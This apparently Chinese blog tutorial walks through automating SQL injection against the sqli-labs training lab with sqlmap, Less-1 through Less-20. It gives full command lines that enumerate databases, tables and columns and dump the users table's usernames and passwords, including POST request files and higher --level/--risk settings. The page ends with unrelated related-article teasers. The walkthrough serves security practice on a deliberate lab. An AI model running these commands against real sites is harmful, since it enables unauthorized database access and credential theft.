用sqlmap工具打sqli-labs前20关靶场

embedded/2024/11/25 5:10:17/

这个星期我们用手动注入打了前20关靶场,今天我们用sqlmap直接梭哈前20关

1.介绍sqlmap

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL和SQL注入漏洞。

2.下载和使用sqlmap

官方下载地址:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

下载压缩包,之后解压

那怎么使用呢???

打开sqlmap被解压到的地方,我解压到了F盘

直接在红色筐子里输入cmd,即可打开窗口使用sqlmap

3.sqlmap基本语法

sqlmap是由python写成

使用方法:python sqlmap.py -参数

常用用法

1.-h

-h是显示基本用法

语法:python sqlmap.py -h

2. -u

-u是基础参数,后面跟需要测试的URL,常用于GET类型的注入

语法:python sqlmap.py -u "URL"

3.--batch

--batch是,可以在所有需要用户手动输入的的部分(通常是询问执行yes还是no【样子是[Y/n]】),执行默认操作,不需要用户再输入

语法:python sqlmap.py -u "URL" --batch

4.--level 等级

--level是,测试等级,等级越高,测试越复杂,共有五级,当默认集数测试不出来时。可以提高等级。

语法:python sqlmap.py -u "URL" --level

其余我们在做中介绍。

4.解题

Less-1——Less-10(GET类型)

前十关解法相同,以第一关为例

1.库名  --dbs 查询库名

python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch -dbs

 

2.表名   -D 表名 --tables 查询表名

python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch -D security --tables

3.列名  -D 表名 -T 列名 --columns 查询列名

python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch -D security -T users --columns

4.字段  -D 表名 -T 列名 -C 字段 --dump 查询字段

python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch -D security -T users -C username,password --dump

 

要是这几关有的查询不出来,记得还有--level 等级,等级提升这一操作

Less-11——Less-17(POST基础注入)

从11关开始就需要bp抓包啦

创建一个文本文档在sqlmap文件夹中,将POST报文保存在文本文档中!

-r 代表文档

语法:python sqlmap.py -r 文本文档

1.库名

python sqlmap.py -r 11.txt --batch -dbs

 

2.表名

python sqlmap.py -r 11.txt --batch -D security --tables

 

3.列名

python sqlmap.py -r 11.txt --batch -D security -T users --columns

 

4.字段

python sqlmap.py -r 11.txt --batch -D security -T users -C username,password --dump

 

Less15-17这几关sqlmap跑的特别慢,大家耐心等待,17关记得输入一个用户名再抓包!

Less18——Less20

这几关会发现爆表爆不出来

提示让用--level --risk 前面介绍 level了,那什么是risk呢?

“risk”参数用于控制攻击的深度,数值越高,攻击的幅度越大,但也会增加攻击被发现的风险;

//库名

python sqlmap.py -r 18.txt --batch -dbs --level=3 --risk=3

 之后操作也是一样的!!!

工具注入还是十分方便,但是还是得熟练手工注入!!!! 


http://www.ppmy.cn/embedded/139513.html

相关文章

鱼厂实习,光速转正了!

今天要分享的这篇文章,比较特殊,是我们团队一位同事写的。主要分享了他从 0 开始学编程,再到加入鱼厂光速转正的故事。长达 6000 多字,诉说了自己四年多的经历,满满的真情实感,大家可以当个小说阅读。 以下…

Python入门(10)--面向对象进阶

Python面向对象进阶 🚀 1. 继承与多态 🔄 1.1 继承基础 class Animal:def __init__(self, name, age):self.name nameself.age agedef speak(self):passdef describe(self):return f"{self.name} is {self.age} years old"class Dog(Anim…

React的hook✅

为什么hook必须在组件内的顶层声明? 这是为了确保每次组件渲染时,Hooks 的调用顺序保持一致。React利用 hook 的调用顺序来跟踪各个 hook 的状态。每当一个函数组件被渲染时,所有的 hook 调用都是按照从上到下的顺序依次执行的。React 内部会…

element ui table进行相同数据合并单元格

示例如图 //要合并的项(自定义) const columnArr ["dq","sj","xj","zj","zjj","zjfzr","nhxm","nhsjh","nhsfzh","","",""…

网络编程套接字概念(UTP和TCP)

前言: 认识了网络,我们就应该考虑一下如何编程实现不同主机上的应用进程之间如何进行双向互通的端点。 套接字(Socket)是网络编程的一种基本概念,套接字是应用程序通过网络协议进行通信的接口,是操作系统提…

C# AutoMapper 10个常用方法总结

前言 AutoMapper 是一个强大的对象映射库,用于简化和自动化复杂对象之间的转换。 官网地址:AutoMapper 文档地址:AutoMapper — AutoMapper documentation AutoMapper是以.NET(C#)语言开发的一个轻量的处理一个实体对象到另一个实体对象之间…

论文PDF页面无法下载PDF

问题:通常在下载学术论文时,网页命名是PDF页面,但是无法下载PDF,下载的是html网页 解决: mac:按F12打开开发者界面 然后点击源代码/来源选项 然后打开下图所在位置,鼠标右键复制链接&#xff…

深入探索Golang的GMP调度机制:源码解析与实现原理

在Golang(又称Go语言)的并发编程模型中,GMP调度模型扮演着举足轻重的角色。GMP分别代表Goroutine(协程)、M(Machine,即内核线程)和P(Processor,即逻辑处理器&…